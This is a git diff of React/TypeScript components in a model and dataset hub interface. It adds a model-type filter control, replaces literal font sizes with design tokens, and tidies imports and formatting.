diff --git a/studio/frontend/src/features/hub/catalog/models-catalog.tsx b/studio/frontend/src/features/hub/catalog/models-catalog.tsx
index 344f5deb49..02b9b62fce 100644
--- a/studio/frontend/src/features/hub/catalog/models-catalog.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-catalog.tsx
@@ -54,6 +54,7 @@ export interface ModelsCatalogState {
   hasMore: boolean;
   manualFetchAvailable: boolean;
   hasActiveFilters: boolean;
+  typeFilterActive: boolean;
 }
 
 export interface ModelsCatalogPagination {
@@ -117,6 +118,7 @@ export const ModelsCatalog = memo(function ModelsCatalog({
     loadingIntentCount,
     hasMore,
     hasActiveFilters,
+    typeFilterActive,
   } = state;
   const { scrollRef, sentinelRef, isLoadingMore } = pagination;
   const {
@@ -469,6 +471,8 @@ export const ModelsCatalog = memo(function ModelsCatalog({
                 downloadedReady={downloadedReady}
                 inventoryError={inventoryError}
                 query={query}
+                typeFilterActive={typeFilterActive}
+                onClearFilters={onClearFilters}
                 scrollElement={downloadedScrollEl}
                 activeCheckpoint={activeCheckpoint}
                 activeGgufVariant={activeGgufVariant}
diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx
index 10d5a80e5e..f0e0950871 100644
--- a/studio/frontend/src/features/hub/catalog/models-header.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-header.tsx
@@ -64,7 +64,7 @@ export function ModelsHeader({
   return (
     <header className="font-heading flex flex-col gap-3 sm:flex-row sm:flex-wrap sm:items-center sm:justify-between">
       <PageHeading
-        title="Hub"
+        title={isDataset ? "Datasets" : "Models"}
         onTitleClick={onTitleClick}
         subtitle={
           isDataset
@@ -91,7 +91,7 @@ export function ModelsHeader({
         <StatPill icon={CpuIcon} label="CPU" value={coreLabel} />
 
         {activeCheckpoint && (
-          <div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-[11.5px]">
+          <div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-ui-11p5">
             <span
               className="size-1.5 rounded-full bg-emerald-500"
               aria-hidden="true"
@@ -115,7 +115,7 @@ export function ModelsHeader({
             <button
               type="button"
               onClick={onEject}
-              className="-mr-0.5 ml-0.5 inline-flex cursor-pointer items-center gap-1 rounded-md px-1.5 text-[11px] text-muted-foreground transition-colors hover:text-foreground"
+              className="-mr-0.5 ml-0.5 inline-flex cursor-pointer items-center gap-1 rounded-md px-1.5 text-ui-11 text-muted-foreground transition-colors hover:text-foreground"
             >
               <HugeiconsIcon
                 icon={RemoveCircleIcon}
diff --git a/studio/frontend/src/features/hub/catalog/models-table.tsx b/studio/frontend/src/features/hub/catalog/models-table.tsx
index a62806dcb6..e3cd77f781 100644
--- a/studio/frontend/src/features/hub/catalog/models-table.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-table.tsx
@@ -17,6 +17,10 @@ import {
   formatRelativeLong,
   formatRelativeShort,
 } from "@/features/hub/lib/format";
+import {
+  MODEL_TYPE_FILTER_OPTIONS,
+  type ModelTypeFilter,
+} from "@/features/hub/lib/model-type-filter";
 import {
   formatModelParamLabel,
   formatPipelineTag,
@@ -25,6 +29,7 @@ import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { cn, formatCompact } from "@/lib/utils";
 import {
   ArrowLeft01Icon,
+  ArrowUpDownIcon,
   Copy01Icon,
   Download01Icon,
   FavouriteIcon,
@@ -124,6 +129,7 @@ export function InventorySortControl({
   value: InventorySort;
   onChange: (value: InventorySort) => void;
 }) {
+  const selected = INVENTORY_SORTS.find((option) => option.value === value);
   return (
     <HubOptionMenu<InventorySort>
       value={value}
@@ -131,7 +137,46 @@ export function InventorySortControl({
       onValueChange={onChange}
       ariaLabel="Sort downloads"
       align="end"
-      className="h-8 text-[11.5px]"
+      title={selected?.label}
+      // Capped and shrinkable so a long label truncates instead of wrapping
+      // the "On device" heading beside these pills in the narrow split pane.
+      className="h-8 min-w-[72px] max-w-[124px] shrink text-ui-11p5"
+      triggerContent={
+        <span className="flex min-w-0 items-center gap-1">
+          <HugeiconsIcon
+            icon={ArrowUpDownIcon}
+            strokeWidth={1.75}
+            className="size-3.5 shrink-0 text-muted-foreground"
+          />
+          <span className="truncate">{selected?.label ?? value}</span>
+        </span>
+      }
+    />
+  );
+}
+
+// Model-type filter pill (Text / Vision / Embedding / …) beside the sort pill.
+export function InventoryTypeFilterControl({
+  value,
+  onChange,
+}: {
+  value: ModelTypeFilter;
+  onChange: (value: ModelTypeFilter) => void;
+}) {
+  const selected = MODEL_TYPE_FILTER_OPTIONS.find(
+    (option) => option.value === value,
+  );
+  return (
+    <HubOptionMenu<ModelTypeFilter>
+      value={value}
+      options={MODEL_TYPE_FILTER_OPTIONS}
+      onValueChange={onChange}
+      ariaLabel="Filter by model type"
+      align="end"
+      title={selected?.label}
+      // Capped and shrinkable so a long label ("Speech to text") truncates
+      // instead of wrapping the "On device" heading beside these pills.
+      className="h-8 min-w-[72px] max-w-[124px] shrink text-ui-11p5"
     />
   );
 }
@@ -183,11 +228,13 @@ export function HubListHeader({
           </button>
         )}
         <div className="min-w-0 space-y-0.5">
-          <h2 className="text-[18px] font-semibold tracking-[-0.02em] text-foreground">
+          {/* truncate keeps the heading on one line and clips a long search
+              query with an ellipsis instead of overflowing the pills. */}
+          <h2 className="truncate text-ui-18 font-semibold tracking-[-0.02em] text-foreground">
             {title}
           </h2>
           {subtitle && (
-            <p className="text-[12.5px] leading-tight text-muted-foreground">
+            <p className="text-ui-12p5 leading-tight text-muted-foreground">
               {subtitle}
             </p>
           )}
@@ -216,7 +263,9 @@ export function HubListHeader({
         )}
       </div>
       {(actions || onViewChange) && (
-        <div className="flex shrink-0 items-center gap-2">
+        // min-w-0 (not shrink-0) so shrinkable actions (the On-device filter
+        // pills) compress before the title is forced onto two lines.
+        <div className="flex min-w-0 items-center gap-2">
           {actions}
           {onViewChange && (
             <div
@@ -260,7 +309,7 @@ export function HubListHeader({
 
 export function ResultListHeader({ isDataset }: { isDataset: boolean }) {
   return (
-    <div className="flex w-full items-center gap-3 px-4 pb-2 text-[11px] font-medium text-muted-foreground/55">
+    <div className="flex w-full items-center gap-3 px-4 pb-2 text-ui-11 font-medium text-muted-foreground/55">
       <span className={LIST_COLS.model}>{isDataset ? "Dataset" : "Model"}</span>
       <span className={isDataset ? LIST_COLS.caps : LIST_COLS.capsModel}>
         {isDataset ? "Details" : "Capabilities"}
@@ -340,7 +389,7 @@ function VerifiedOwner({ owner }: { owner: string }) {
       {owner.toLowerCase() === "unsloth" && (
         <span
           aria-label="Verified Unsloth"
-          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+          className="hub-verified-badge size-3.5 shrink-0 text-verified"
         />
       )}
     </span>
@@ -396,7 +445,7 @@ function CapabilitiesCell({
           ))}
           {extra > 0 && <span className="hub-chip shrink-0">+{extra}</span>}
           {shown.length === 0 && taskLabel && (
-            <span className="truncate text-[12px] text-muted-foreground/75">
+            <span className="truncate text-ui-12 text-muted-foreground/75">
               {taskLabel}
             </span>
           )}
@@ -405,7 +454,7 @@ function CapabilitiesCell({
       <TooltipContent side="top" align="start" className="tooltip-compact">
         <div className="flex flex-col items-start gap-1">
           {taskLabel && (
-            <span className="text-[11px] font-medium text-muted-foreground">
+            <span className="text-ui-11 font-medium text-muted-foreground">
               {taskLabel}
             </span>
           )}
@@ -524,7 +573,9 @@ function useResultRowModel(
     [isDataset, row.id, row.result, deviceType],
   );
   const sizeLabel = formatModelParamLabel(row.repo, row.result.totalParams);
-  const taskLabel = isDataset ? null : formatPipelineTag(row.result.pipelineTag);
+  const taskLabel = isDataset
+    ? null
+    : formatPipelineTag(row.result.pipelineTag);
   const unsupported = support?.status === "unsupported";
   return {
     support,
@@ -586,17 +637,17 @@ export const ResultCard = memo(function ResultCard({
       type="button"
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
-      className="hub-result-row hub-result-card group/row flex h-full w-full cursor-pointer items-center gap-3.5 px-4 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="hub-result-row hub-result-card group/row flex h-full w-full cursor-pointer items-center gap-3.5 px-4 text-left outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     >
       <OwnerAvatar
         owner={row.owner}
         repoName={row.repo}
-        className="size-[52px] shrink-0 rounded-[16px] text-[16px] ring-1 ring-black/5 dark:ring-white/10"
+        className="size-[52px] shrink-0 rounded-[16px] text-ui-16 ring-1 ring-black/5 dark:ring-white/10"
         remote={false}
       />
       <div className="flex min-w-0 flex-1 flex-col">
         <div className="flex min-w-0 items-center gap-2">
-          <span className="truncate text-[15px] font-semibold leading-[18px] text-foreground">
+          <span className="truncate text-ui-15 font-semibold leading-ui-18 text-foreground">
             {row.repo}
           </span>
           <TitleMarkers
@@ -608,10 +659,10 @@ export const ResultCard = memo(function ResultCard({
             onDevice={onDevice}
           />
         </div>
-        <span className="flex min-w-0 items-center gap-1 text-[12.5px] leading-[16px] text-muted-foreground/80">
+        <span className="flex min-w-0 items-center gap-1 text-ui-12p5 leading-ui-16 text-muted-foreground/80">
           <VerifiedOwner owner={row.owner} />
         </span>
-        <div className="flex min-w-0 items-center gap-2 overflow-hidden text-[11.5px] leading-[16px] tabular-nums text-muted-foreground/65">
+        <div className="flex min-w-0 items-center gap-2 overflow-hidden text-ui-11p5 leading-ui-16 tabular-nums text-muted-foreground/65">
           {textParts.map((part, index) => (
             <Fragment key={part.key}>
               {index > 0 && (
@@ -685,7 +736,7 @@ export const ResultGridRow = memo(function ResultGridRow({
       type="button"
       aria-label={row.repo}
       onClick={() => onSelect(row.id)}
-      className="absolute inset-0 z-0 cursor-pointer rounded-[inherit] outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+      className="absolute inset-0 z-0 cursor-pointer rounded-[inherit] outline-none focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset"
     />
   );
 
@@ -710,12 +761,12 @@ export const ResultGridRow = memo(function ResultGridRow({
           <OwnerAvatar
             owner={row.owner}
             repoName={row.repo}
-            className="size-9 shrink-0 rounded-[12px] text-[13px] ring-1 ring-black/5 dark:ring-white/10"
+            className="size-9 shrink-0 rounded-[12px] text-ui-13 ring-1 ring-black/5 dark:ring-white/10"
             remote={false}
           />
           <div className="min-w-0 flex-1">
             <div className="flex min-w-0 items-center gap-1.5">
-              <span className="truncate text-[13.5px] font-semibold leading-[17px] text-foreground">
+              <span className="truncate text-ui-13p5 font-semibold leading-ui-17 text-foreground">
                 {row.repo}
               </span>
               <TitleMarkers
@@ -727,7 +778,7 @@ export const ResultGridRow = memo(function ResultGridRow({
                 onDevice={onDevice}
               />
             </div>
-            <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+            <span className="mt-0.5 flex min-w-0 items-center gap-1 text-ui-11p5 leading-ui-15 text-muted-foreground/80">
               <VerifiedOwner owner={row.owner} />
             </span>
           </div>
@@ -735,7 +786,7 @@ export const ResultGridRow = memo(function ResultGridRow({
         <div className={isDataset ? LIST_COLS.caps : LIST_COLS.capsModel}>
           {isDataset ? (
             row.summary ? (
-              <span className="truncate text-[12px] text-muted-foreground/75">
+              <span className="truncate text-ui-12 text-muted-foreground/75">
                 {row.summary}
               </span>
             ) : null
@@ -750,7 +801,7 @@ export const ResultGridRow = memo(function ResultGridRow({
         <div
           className={cn(
             LIST_COLS.size,
-            "truncate text-[12px] tabular-nums text-muted-foreground",
+            "truncate text-ui-12 tabular-nums text-muted-foreground",
           )}
         >
           {sizeDisplay ?? "—"}
@@ -758,7 +809,7 @@ export const ResultGridRow = memo(function ResultGridRow({
         <div
           className={cn(
             LIST_COLS.updated,
-            "truncate text-[12px] tabular-nums text-muted-foreground",
+            "truncate text-ui-12 tabular-nums text-muted-foreground",
           )}
         >
           {formatRelativeShort(row.result.updatedAt)}
@@ -766,7 +817,7 @@ export const ResultGridRow = memo(function ResultGridRow({
         <div
           className={cn(
             LIST_COLS.downloads,
-            "text-[12px] tabular-nums text-muted-foreground",
+            "text-ui-12 tabular-nums text-muted-foreground",
           )}
         >
           <StatItem
@@ -777,7 +828,7 @@ export const ResultGridRow = memo(function ResultGridRow({
         <div
           className={cn(
             LIST_COLS.likes,
-            "text-[12px] tabular-nums text-muted-foreground",
+            "text-ui-12 tabular-nums text-muted-foreground",
           )}
         >
           <StatItem
@@ -827,17 +878,17 @@ export const ResultSplitRow = memo(function ResultSplitRow({
       aria-current={selected || undefined}
       data-selected={selected || undefined}
       onClick={() => onSelect(row.id)}
-      className="group/row flex h-full w-full cursor-pointer items-center gap-2.5 rounded-[12px] px-2.5 text-left outline-none transition-colors hover:bg-foreground/[0.04] data-[selected]:bg-foreground/[0.07] focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset dark:hover:bg-white/[0.05] dark:data-[selected]:bg-white/[0.08]"
+      className="group/row flex h-full w-full cursor-pointer items-center gap-2.5 rounded-[12px] px-2.5 text-left outline-none transition-colors hover:bg-foreground/[0.04] data-[selected]:bg-foreground/[0.07] focus-visible:ring-1 focus-visible:ring-ring focus-visible:ring-inset dark:hover:bg-white/[0.05] dark:data-[selected]:bg-white/[0.08]"
     >
       <OwnerAvatar
         owner={row.owner}
         repoName={row.repo}
-        className="size-8 shrink-0 rounded-[9px] text-[12px]"
+        className="size-8 shrink-0 rounded-[9px] text-ui-12"
         remote={false}
       />
       <div className="flex min-w-0 flex-1 flex-col">
         <div className="flex min-w-0 items-center gap-1.5">
-          <span className="truncate text-[12.5px] font-semibold leading-[16px] text-foreground">
+          <span className="truncate text-ui-12p5 font-semibold leading-ui-16 text-foreground">
             {row.repo}
           </span>
           <TitleMarkers
@@ -849,11 +900,11 @@ export const ResultSplitRow = memo(function ResultSplitRow({
             onDevice={onDevice}
           />
         </div>
-        <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[10.5px] leading-[14px] text-muted-foreground/80">
+        <span className="mt-0.5 flex min-w-0 items-center gap-1 text-ui-10p5 leading-ui-14 text-muted-foreground/80">
           <VerifiedOwner owner={row.owner} />
         </span>
       </div>
-      <div className="flex shrink-0 flex-col items-end gap-0.5 text-[10.5px] tabular-nums text-muted-foreground/70">
+      <div className="flex shrink-0 flex-col items-end gap-0.5 text-ui-10p5 tabular-nums text-muted-foreground/70">
         <div className="flex items-center gap-2">
           <span className="inline-flex items-center gap-1">
             <HugeiconsIcon
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 7c08c9c486..a12b0b5571 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -9,6 +9,7 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
 import { cn } from "@/lib/utils";
 import {
   AiChipIcon,
@@ -19,26 +20,25 @@ import {
   SlidersHorizontalIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
-import type {
-  CapabilityFilter,
-  ModelFormatFilter,
-  ModelsTab,
-  ResourceTypeFilter,
-} from "../types";
-import {
-  CAPABILITY_FILTER_OPTIONS,
-  FORMAT_FILTER_OPTIONS,
-} from "../lib/view-models";
-import { HubOptionMenu, type HubOption } from "./hub-option-menu";
+import { memo, useMemo, useState } from "react";
 import {
   clearRecentSearches,
   recordRecentSearch,
   removeRecentSearch,
   useRecentSearches,
 } from "../lib/recent-searches";
+import {
+  CAPABILITY_FILTER_OPTIONS,
+  FORMAT_FILTER_OPTIONS,
+} from "../lib/view-models";
+import type {
+  CapabilityFilter,
+  ModelFormatFilter,
+  ModelsTab,
+  ResourceTypeFilter,
+} from "../types";
+import { type HubOption, HubOptionMenu } from "./hub-option-menu";
 import { RecentSearches } from "./recent-searches";
-import { memo, useMemo, useState } from "react";
 
 // Widened so the format dropdown can carry the "Fine-tune ready" pseudo-option,
 // which opens the curated channel instead of becoming the active format filter.
@@ -175,7 +175,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
     <div className="flex min-w-0 flex-col gap-2 lg:flex-row lg:flex-nowrap lg:items-center">
       <div
         className={cn(
-          "hub-menu-trigger hub-tab-toggle relative inline-flex h-9 w-full shrink-0 items-center rounded-full lg:w-[240px]",
+          "hub-menu-trigger hub-tab-toggle relative inline-flex h-9 w-full shrink-0 items-center rounded-full lg:w-[280px]",
         )}
         role="radiogroup"
         aria-label="View"
@@ -194,7 +194,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
           aria-checked={tab === "discover"}
           onClick={() => onTabChange("discover")}
           className={cn(
-            "relative z-10 inline-flex h-9 flex-1 items-center justify-center rounded-full px-3 text-[12.5px] transition-colors",
+            "relative z-10 inline-flex h-9 flex-1 items-center justify-center rounded-full px-3 text-ui-12p5 transition-colors",
             tab === "discover"
               ? "text-foreground"
               : "text-muted-foreground hover:text-foreground",
@@ -208,7 +208,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
           aria-checked={tab === "downloaded"}
           onClick={() => onTabChange("downloaded")}
           className={cn(
-            "relative z-10 inline-flex h-9 flex-1 items-center justify-center rounded-full px-3 text-[12.5px] transition-colors",
+            "relative z-10 inline-flex h-9 flex-1 items-center justify-center rounded-full px-3 text-ui-12p5 transition-colors",
             tab === "downloaded"
               ? "text-foreground"
               : "text-muted-foreground hover:text-foreground",
@@ -219,94 +219,94 @@ export const ModelsToolbar = memo(function ModelsToolbar({
       </div>
 
       <div className="relative min-w-0 flex-1 lg:flex-[1_1_360px]">
-          <HugeiconsIcon
-            icon={Search01Icon}
-            strokeWidth={1.8}
-            className="pointer-events-none absolute left-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground"
-          />
-          <Input
-            // `type="search"` plus these flags stop password managers and noisy
-            // text assistance from acting on this field.
-            type="search"
-            name="hub-search"
-            autoComplete="off"
-            autoCorrect="off"
-            autoCapitalize="off"
-            spellCheck={false}
-            enterKeyHint="search"
-            data-1p-ignore={true}
-            data-lpignore={true}
-            data-form-type="other"
-            value={query}
-            onChange={(event) => onQueryChange(event.target.value)}
-            onFocus={() => setSearchFocused(true)}
-            onBlur={() => {
-              setSearchFocused(false);
-              if (isDiscover) {
-                recordRecentSearch(query);
-              }
-            }}
-            onKeyDown={(event) => {
-              if (event.key === "Enter" && isDiscover) {
-                recordRecentSearch(query);
-              } else if (event.key === "Escape" && showRecentSearches) {
-                event.currentTarget.blur();
-              }
-            }}
-            placeholder={
-              tab === "downloaded"
-                ? `Search on-device ${isDataset ? "datasets" : "models"}`
-                : isDataset
-                  ? "Search datasets"
-                  : "Search all models"
+        <HugeiconsIcon
+          icon={Search01Icon}
+          strokeWidth={1.8}
+          className="pointer-events-none absolute left-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground"
+        />
+        <Input
+          // `type="search"` plus these flags stop password managers and noisy
+          // text assistance from acting on this field.
+          type="search"
+          name="hub-search"
+          autoComplete="off"
+          autoCorrect="off"
+          autoCapitalize="off"
+          spellCheck={false}
+          enterKeyHint="search"
+          data-1p-ignore={true}
+          data-lpignore={true}
+          data-form-type="other"
+          value={query}
+          onChange={(event) => onQueryChange(event.target.value)}
+          onFocus={() => setSearchFocused(true)}
+          onBlur={() => {
+            setSearchFocused(false);
+            if (isDiscover) {
+              recordRecentSearch(query);
             }
-            className={cn(
-              "field-soft h-9 rounded-full !border-0 pl-10 text-[13px] placeholder:text-muted-foreground/80 focus-visible:!ring-0",
-              hasTrailing ? "pr-10" : "pr-4",
-            )}
-          />
-          {query ? (
-            <button
-              type="button"
-              aria-label="Clear search"
-              // Keep focus on the input so clearing reveals recent searches
-              // rather than dismissing the field.
-              onMouseDown={(event) => event.preventDefault()}
-              onClick={() => onQueryChange("")}
-              className="absolute right-2.5 top-1/2 inline-flex size-6 -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-foreground"
-            >
-              <HugeiconsIcon
-                icon={CancelCircleIcon}
-                strokeWidth={1.75}
-                className="size-[18px]"
-              />
-            </button>
-          ) : isDiscover && isLoading ? (
-            <Spinner className="pointer-events-none absolute right-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
-          ) : null}
-          {showRecentSearches && (
-            <RecentSearches
-              searches={recentSearches}
-              onSelect={(value) => {
-                recordRecentSearch(value);
-                onQueryChange(value);
-              }}
-              onRemove={removeRecentSearch}
-              onClear={clearRecentSearches}
-            />
+          }}
+          onKeyDown={(event) => {
+            if (event.key === "Enter" && isDiscover) {
+              recordRecentSearch(query);
+            } else if (event.key === "Escape" && showRecentSearches) {
+              event.currentTarget.blur();
+            }
+          }}
+          placeholder={
+            tab === "downloaded"
+              ? `Search on-device ${isDataset ? "datasets" : "models"}`
+              : isDataset
+                ? "Search datasets"
+                : "Search all models"
+          }
+          className={cn(
+            "field-soft h-9 rounded-full !border-0 pl-10 text-ui-13 placeholder:text-muted-foreground/80 focus-visible:!ring-0",
+            hasTrailing ? "pr-10" : "pr-4",
           )}
-        </div>
+        />
+        {query ? (
+          <button
+            type="button"
+            aria-label="Clear search"
+            // Keep focus on the input so clearing reveals recent searches
+            // rather than dismissing the field.
+            onMouseDown={(event) => event.preventDefault()}
+            onClick={() => onQueryChange("")}
+            className="absolute right-2.5 top-1/2 inline-flex size-6 -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-foreground"
+          >
+            <HugeiconsIcon
+              icon={CancelCircleIcon}
+              strokeWidth={1.75}
+              className="size-[18px]"
+            />
+          </button>
+        ) : isDiscover && isLoading ? (
+          <Spinner className="pointer-events-none absolute right-3.5 top-1/2 size-4 -translate-y-1/2 text-muted-foreground" />
+        ) : null}
+        {showRecentSearches && (
+          <RecentSearches
+            searches={recentSearches}
+            onSelect={(value) => {
+              recordRecentSearch(value);
+              onQueryChange(value);
+            }}
+            onRemove={removeRecentSearch}
+            onClear={clearRecentSearches}
+          />
+        )}
+      </div>
 
       <div className="flex min-w-0 flex-wrap items-center gap-2 lg:flex-[0_0_auto] lg:flex-nowrap lg:justify-end">
         {tab === "downloaded" && !isDataset && (
           <Tooltip>
-            <TooltipTrigger asChild>
+            <TooltipTrigger asChild={true}>
               <button
                 type="button"
                 onClick={onManageLocalFolders}
                 className={cn(
                   triggerBase,
-                  "field-filter inline-flex h-9 shrink-0 items-center gap-1.5 rounded-full px-3 text-[12.5px]",
+                  "field-filter inline-flex h-9 shrink-0 items-center gap-1.5 rounded-full px-3 text-ui-12p5",
                 )}
               >
                 <HugeiconsIcon
@@ -359,18 +359,18 @@ export const ModelsToolbar = memo(function ModelsToolbar({
             footer={
               isDataset ? undefined : (
                 <Tooltip>
-                  <TooltipTrigger asChild>
+                  <TooltipTrigger asChild={true}>
                     <button
                       type="button"
                       role="checkbox"
                       aria-checked={fitOnDeviceOnly}
                       onClick={() => onFitOnDeviceOnlyChange(!fitOnDeviceOnly)}
-                      className="flex w-full cursor-pointer select-none items-center gap-2 rounded-[10px] px-3 py-2 text-left text-[12.5px] text-muted-foreground transition-colors hover:text-foreground"
+                      className="flex w-full cursor-pointer select-none items-center gap-2 rounded-[10px] px-3 py-2 text-left text-ui-12p5 text-muted-foreground transition-colors hover:text-foreground"
                     >
                       <Checkbox
                         checked={fitOnDeviceOnly}
                         tabIndex={-1}
-                        aria-hidden
+                        aria-hidden={true}
                         className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
                       />
                       Only show models that fit
@@ -402,7 +402,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
             )}
           />
           <Tooltip>
-            <TooltipTrigger asChild>
+            <TooltipTrigger asChild={true}>
               <button
                 type="button"
                 role="radio"
@@ -428,7 +428,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
             </TooltipContent>
           </Tooltip>
           <Tooltip>
-            <TooltipTrigger asChild>
+            <TooltipTrigger asChild={true}>
               <button
                 type="button"
                 role="radio"
diff --git a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
index caa89db196..2b0f2c3a8d 100644
--- a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { FolderBrowser } from "@/components/assistant-ui/model-selector/folder-browser";
 import { Button } from "@/components/ui/button";
 import {
   Dialog,
@@ -22,9 +21,11 @@ import {
   addScanFolder,
   listScanFolders,
   removeScanFolder,
-} from "@/features/hub/inventory";
-import { openModelsDir } from "@/features/native-intents/api";
+} from "@/features/hub";
+import { FolderBrowser } from "@/features/model-picker";
+import { openModelsDir } from "@/features/native-intents";
 import { isTauri } from "@/lib/api-base";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import {
   Delete02Icon,
@@ -38,7 +39,6 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
-import { toast } from "@/lib/toast";
 
 function pathTail(path: string): string {
   const parts = path.split(/[\\/]/).filter(Boolean);
@@ -123,7 +123,9 @@ export function OnDeviceFoldersDialog({
         setPath("");
         mutationVersionRef.current += 1;
         setFolders((current) => {
-          const withoutDuplicate = current.filter((row) => row.id !== folder.id);
+          const withoutDuplicate = current.filter(
+            (row) => row.id !== folder.id,
+          );
           return [...withoutDuplicate, folder];
         });
         toast.success("Location added", {
@@ -184,15 +186,18 @@ export function OnDeviceFoldersDialog({
           overlayClassName="bg-black/20 backdrop-blur-none"
         >
           <DialogHeader className="border-b border-border/60 px-5 py-4">
-            <DialogTitle className="text-[15px]">On-device locations</DialogTitle>
+            <DialogTitle className="text-ui-15">
+              On-device locations
+            </DialogTitle>
             <DialogDescription className="sr-only">
-              Hugging Face model folders, GGUF files, and adapters are indexed here.
+              Hugging Face model folders, GGUF files, and adapters are indexed
+              here.
             </DialogDescription>
           </DialogHeader>
 
           <div className="space-y-4 px-5 py-4">
             <div className="rounded-[14px] border border-border/70 bg-muted/20 p-3">
-              <div className="mb-2 flex items-center gap-2 text-[12px] font-medium text-foreground">
+              <div className="mb-2 flex items-center gap-2 text-ui-12 font-medium text-foreground">
                 <HugeiconsIcon
                   icon={FolderAddIcon}
                   strokeWidth={1.75}
@@ -217,7 +222,7 @@ export function OnDeviceFoldersDialog({
                       void handleAdd(path);
                     }}
                     placeholder="Paste model folder or file path"
-                    className="field-soft h-9 rounded-full pl-9 pr-3 font-mono text-[12px] placeholder:font-sans"
+                    className="field-soft h-9 rounded-full pl-9 pr-3 font-mono text-ui-12 placeholder:font-sans"
                   />
                 </div>
                 <div className="flex shrink-0 items-center gap-2">
@@ -247,7 +252,7 @@ export function OnDeviceFoldersDialog({
                     size="sm"
                     onClick={() => void handleAdd(path)}
                     disabled={!path.trim() || pending !== null}
-                    className="h-9 rounded-full px-3 text-[12.5px]"
+                    className="h-9 rounded-full px-3 text-ui-12p5"
                   >
                     {pending === "add" ? (
                       <Spinner className="size-3.5" />
@@ -266,14 +271,14 @@ export function OnDeviceFoldersDialog({
             </div>
 
             {error ? (
-              <div className="rounded-[10px] border border-destructive/20 bg-destructive/5 px-3 py-2 text-[12px] text-destructive">
+              <div className="rounded-[10px] border border-destructive/20 bg-destructive/5 px-3 py-2 text-ui-12 text-destructive">
                 {error}
               </div>
             ) : null}
 
             <div className="overflow-hidden rounded-[14px] border border-border/70">
               <div className="flex h-10 items-center justify-between border-b border-border/60 px-3">
-                <span className="text-[12px] font-medium text-foreground">
+                <span className="text-ui-12 font-medium text-foreground">
                   Indexed locations
                 </span>
                 <Tooltip>
@@ -300,12 +305,12 @@ export function OnDeviceFoldersDialog({
 
               <div className="max-h-64 overflow-y-auto">
                 {loading ? (
-                  <div className="flex h-24 items-center justify-center gap-2 text-[12px] text-muted-foreground">
+                  <div className="flex h-24 items-center justify-center gap-2 text-ui-12 text-muted-foreground">
                     <Spinner className="size-3.5" />
                     Loading locations...
                   </div>
                 ) : sortedFolders.length === 0 ? (
-                  <div className="flex h-28 flex-col items-center justify-center gap-2 px-4 text-center text-[12px] text-muted-foreground">
+                  <div className="flex h-28 flex-col items-center justify-center gap-2 px-4 text-center text-ui-12 text-muted-foreground">
                     <HugeiconsIcon
                       icon={FolderOpenIcon}
                       strokeWidth={1.75}
@@ -335,16 +340,14 @@ export function OnDeviceFoldersDialog({
                         </div>
                         <div className="min-w-0 overflow-hidden">
                           <p
-                            className="block w-full truncate text-[12.5px] font-medium text-foreground"
+                            className="block w-full truncate text-ui-12p5 font-medium text-foreground"
                             title={pathTail(folder.path)}
                           >
                             {pathTail(folder.path)}
                           </p>
                           <Tooltip>
                             <TooltipTrigger asChild={true}>
-                              <p
-                                className="block w-full truncate font-mono text-[10.5px] text-muted-foreground"
-                              >
+                              <p className="block w-full truncate font-mono text-ui-10p5 text-muted-foreground">
                                 {folder.path}
                               </p>
                             </TooltipTrigger>
@@ -372,7 +375,10 @@ export function OnDeviceFoldersDialog({
                                 />
                               </button>
                             </TooltipTrigger>
-                            <TooltipContent side="left" className="tooltip-compact">
+                            <TooltipContent
+                              side="left"
+                              className="tooltip-compact"
+                            >
                               Open in file manager
                             </TooltipContent>
                           </Tooltip>
@@ -397,7 +403,10 @@ export function OnDeviceFoldersDialog({
                               )}
                             </button>
